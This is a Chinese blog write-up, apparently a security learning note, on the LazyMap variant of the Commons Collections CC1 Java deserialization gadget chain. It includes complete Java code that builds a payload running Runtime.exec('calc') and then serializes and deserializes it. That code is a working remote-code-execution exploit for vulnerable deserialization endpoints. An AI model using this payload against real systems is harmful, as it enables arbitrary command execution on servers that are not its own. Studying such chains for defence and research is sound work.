CC1链(LazyMap版)

白日梦组长视频:https://www.bilibili.com/video/BV1yP4y1p7N7?spm_id_from=333.788.videopod.sections&vd_source=525a280615063349bad5e187f6bfeec3

分析链子

CC1 链除了TransformedMap的链子,还有个正版 CC1 链的LazyMap链子

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

image-20251210192507739

后面的部分和TransformedMap版的一样,然后就是要去往上一点点找链子了

在之前找ChainedTransformer里的transform方法可以被谁调用的时候,找的是TransformedMap里的checkSetValue()方法,除了这个之外还可以用LazyMap里的get()方法,也是可以调用的

image-20251210192117832

然后去看这个get()方法

image-20251210192713553

可以看到是调用了factorytransform方法,去看看factory是什么

image-20251210201917601

发现factoryTransformer的,这里就可以将factory设置为ChainedTransformer,就可以和后面的链子连接上了,并且还看到了decorate方法,就和之前的TransformedMap版的里面是一样的了

然后看触发这个要满足的if条件,就是要满足map.containsKey(key) == false,即指定的keymap中不存在,这里的key就是要传入get()方法的参数

image-20251210193932027

在往上就直接根据正版 CC1 链的链子看了,可以看到是用两次AnnotationInvocationHandler和一次动态代理来实现的

image-20251210201145881

在之前调另一个版本的CC1链的时候是找到了AnnotationInvocationHandlerreadObject方法,其中的memberValues是可控的

image-20251210195337687

其中可以看到下面这里调用了get()方法

image-20251210195618549

这里调用的是memberTypesget()方法,但是memberTypes我们是控制不了的,那就去找可以控制的

image-20251210195809130

可以找到这里是memberValuesget()memberValues是可控的,然后会发现这个代码是在AnnotationInvocationHandlerinvoke方法中的

image-20251210200003035

这里可以用动态代理调用方法,当通过代理对象调用接口的任何方法的时候,这里的invoke方法就会自动调用,这里就需要找一个接口

image-20251210200830826

invoke方法中有两个if语句,第一个是看调用的是不是equals这个方法,这里就尽量不调用它,第二个是看调用的方法参数个数是不是0,所以要调用一个无参的方法

然后去看下面正好是调用了无参方法entrySet(),所以这就是动态代理要调用的方法

image-20251210201343418

链子(截图视频里的)

image-20251210201804200

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.bag.TransformedBag;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1Test{
public static void main(String[] args) throws Exception{
Class c = Runtime.class;

Transformer[] t = new Transformer[]{
new ConstantTransformer(c),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedtransformer = new ChainedTransformer(t);

//// ==============================LazyMap版==============================
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedtransformer);

Class cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = cc.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
// 这里要强转成InvokerTransformer,因为要生成动态代理
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Target.class,lazyMap); // 这里的注解就可以随意传了,没有限制,也可以写Override
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

Object o = annotationInvocationhdlConstructor.newInstance(Target.class,mapProxy); // 这里也可以写成Override
serialize(o);
unserialize("ser.bin");
//// =====================================================================

}

public static void serialize(Object o) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object oic = ois.readObject();
return oic;
}

}

CC1链(LazyMap版)
https://yschen20.github.io/2025/12/11/CC1链(LazyMap版)/
作者
Suzen
发布于
2025年12月11日
更新于
2026年1月7日
许可协议